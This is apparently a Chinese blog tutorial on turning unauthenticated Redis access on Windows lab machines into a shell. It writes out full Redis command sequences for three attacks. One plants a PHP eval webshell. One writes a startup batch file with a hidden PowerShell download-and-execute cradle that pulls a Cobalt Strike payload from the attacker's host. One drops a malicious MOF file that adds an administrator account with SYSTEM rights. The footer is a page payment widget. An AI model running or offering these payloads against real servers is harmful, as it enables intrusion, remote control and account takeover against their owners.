docker remote api未授权访问_Redis未授权访问漏洞(windows环境)

Redis未授权访问漏洞(windows环境)

     上一篇文章说了linux环境下的redis未授权访问如何进行getshell,今天就来说一说如果是换成windows环境下又怎么进行getshell。

一、靶机环境

1.Win7 漏洞靶机:192.168.1.1032.Windows 2003 漏洞靶机:192.168.1.1043.Kali 攻击机:192.168.1.102

二、漏洞环境搭建

首先下载windows环境下的redis版本,解压之后显示如下

200c18b5bf0714689659329841c58ea0.png

图中箭头1处标识的是redis的相关配置文件,2处标识的是用于redis连接的可执行文件,3处则是启动redis的执行文件。

在dos窗口中切换到当前目录执行以下命令启动redis服务

redis-server.exe redis.conf            

0f911aee5b87a76408cf909cb73bc731.png

然后在攻击机中扫描靶机开启的端口情况,验证是否成功启动redis

nmap -p 6379 --script redis-info 192.168.1.103 #验证redis是否启动            

4bc193df18b82452eee07df8fe40ab89.png

从结果来看目标靶机确实已经启动了redis服务,那么接下来连接以下看看是否存在未授权访问漏洞

cf57ff08f9491056b96cbadbc84c8691.png

事实证明是存在该漏洞的,并且此时返回目标靶机可以看到会显示当前连接redis的情况

ec3c1cb7dc7defcf1d7cc9cf0b589d86.png

三、通过未授权访问漏洞实现getshell

在windows环境下通过redis未授权访问漏洞实现getshell同样也有三种方式,分别是如下三种:

1、写入webshell

写入webshell这种方式,需要通过phpinfo或者其他的报错方式来获取网站绝对路径。这里我提前在win7靶机中用phpstudy模拟了环境,通过phpinfo获取了网站的绝对路径,显示如下

8bff801f9bdc8e0b1702317d36ab537d.png

接下来就是通过连接目标靶机的redis进行写入webshell了,执行如下命令即可

192.168.1.103:6379> CONFIG SET dir c:/phpstudy_pro/WWWOK192.168.1.103:6379> CONFIG SET dbfilename shell.phpOK192.168.1.103:6379> set x “php @eval($_POST['swzaq']) ?>”OK192.168.1.103:6379> saveOK

f858b15eb014e25d1898733074307570.png

写入成功之后用蚁剑进行连接

cf792c788fe055db4ecf6963b4a5ccea.png

526117592998c997f735290dcd87af8f.png

2、写入启动项

当目标没有提供网站服务,或者不知道网站绝对路径没办法写入webshell时,我们就可以通过写入启动项的方式来getshell。这就跟在linux环境下写入计划任务效果差不多。

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

值得注意的是由于Start Menu之间是有空格的,因此在写入的时候需要用双引号将路径包含起来,否则会出现参数个数错误的提示。

这里我是通过Cobalt Strike来接收目标靶机的shell的,具体实现步骤如下:

首先在攻击机中启动CS服务端,启动成功之后同样是在攻击机中启动客户端进行登录

8f4debe197be115c7243edda7c6f3aba.png

接着添加一个Listener 监听器

e50685eb1a669be0571354f06aa4511a.png

然后选择Attacks--Web Drive-by--scripted Web Delivery(S)

8d5c26d33eda71d27f799f5c09fcaa0c.png

在弹出的对话框中选择刚才添加的Listener

23fb25568ada9fddb9af6bd56983a8e0.png

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))"            

a59c82f498e55f88829a40cc5677b1eb.png

接着就可以连接redis开始写入启动项了,不过这里需要特别几个问题

(1)由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行

(2)由于设置变量时会使用双引号进行包含,而命令中本来就含有双引号,为了不造成歧义这里需要对其进行转义

因此连接目标redis之后执行如下命令即可

192.168.1.103:6379> CONFIG SET dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"OK192.168.1.103:6379> CONFIG SET dbfilename shell.batOK192.168.1.103:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:80/a'))\"\r\n\r\n"OK192.168.1.103:6379> saveOK

d2ca1799b2d9554d5051d10ac5ac80cf.png

执行完成后查看目标靶机发现已经成功写入了

79e4d8c4018b3aa14027c588a0ff89da.png

重启一下目标靶机,服务器就上线了

107263a07f5c4b7b947265d96b7c961d.png

3、mof提权

第二种方法有一个缺陷就是必须要机器重启才能getshell。这个如果是在真是环境中肯定是比较困难的,那么这个时候我们就可以通过mof提权的方式来进行getshell了。

mof提权的原理

mof是Windows系统的一个文件,位于c:/windows/system32/wbem/mof/nullevt.mof

叫做托管对象格式。它的作用是每隔5秒,就会去监控进程的创建和死亡。mof提权的简单利用过程就是,在该文件夹下写入一个恶意的mof文件,其中有一段是vbs脚本,而这个vbs脚本大多数是cmd的添加管理员用户的命令。写入完成之后这个文件会被服务器每隔5秒以system权限进行执行。(这个默认5秒执行一次的设定只有03及以下系统才会有)

值得注意的是通过测试也只在windows2003的环境下成功过。下面就是具体步骤

首先将下列代码保存在攻击机的ceshi.txt文件中

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {     EventNamespace = "Root\\Cimv2";     Name  = "filtP2";     Query = "Select * From __InstanceModificationEvent "             "Where TargetInstance Isa \"Win32_LocalTime\" "             "And TargetInstance.Second = 5";     QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {     Name = "consPCSV2";     ScriptingEngine = "JScript";     ScriptText =     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user admin admin /add \")"; }; instance of __FilterToConsumerBinding {     Consumer   = $Consumer;     Filter = $EventFilter; };

a745076d37ec05173395927176229cb4.png

如图箭头标识的就是添加一个admin用户的命令。然后继续执行如下命令

                (echo -e "nn"; cat ceshi.txt; echo -e "nn") > shell.txt

最后切换到redis目录,连接目标靶机的redis并执行如下命令

root@kali:/usr/local/redis/redis-3.2.0/src#cat /root/shell.txt |./redis-cli -h 192.168.1.104 -x set xOKroot@kali:/usr/local/redis/redis-3.2.0/src#./redis-cli -h 192.168.1.104192.168.1.104:6379> CONFIG SET dir C:/windows/system32/wbem/mof/OK192.168.1.104:6379> CONFIG SET dbfilename shell.mofOK192.168.1.104:6379>saveOK

8aef1b76e5b86feafeb7a11dc4bd2bd8.png

执行完成之后返回目标主机的对应目录下可以看到已经成功写入了

fb1992d39d483348292a860d5f7f4af9.png

写入成功之后几秒钟这个文件就会被执行,目标靶机就会创建一个admin用户

2fbbc849cc2d26d13325791132fb24b6.png

还有一个问题就是执行成功的mof文件会放在good文件夹下,失败的会放在bad文件夹下。

我在复现的时候写入的mof文件虽然最后是放在了bad文件夹下,但是它确确实实是成功执行了,并且这个成功执行会有一个概率问题。如果开始一两次写入没有成功多试几次就会达到效果的。具体效果显示如下

c62b30d0c458e68aa10f1d85ae96fec7.png

7840ae25adcfeed622b5ebba1944483c.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值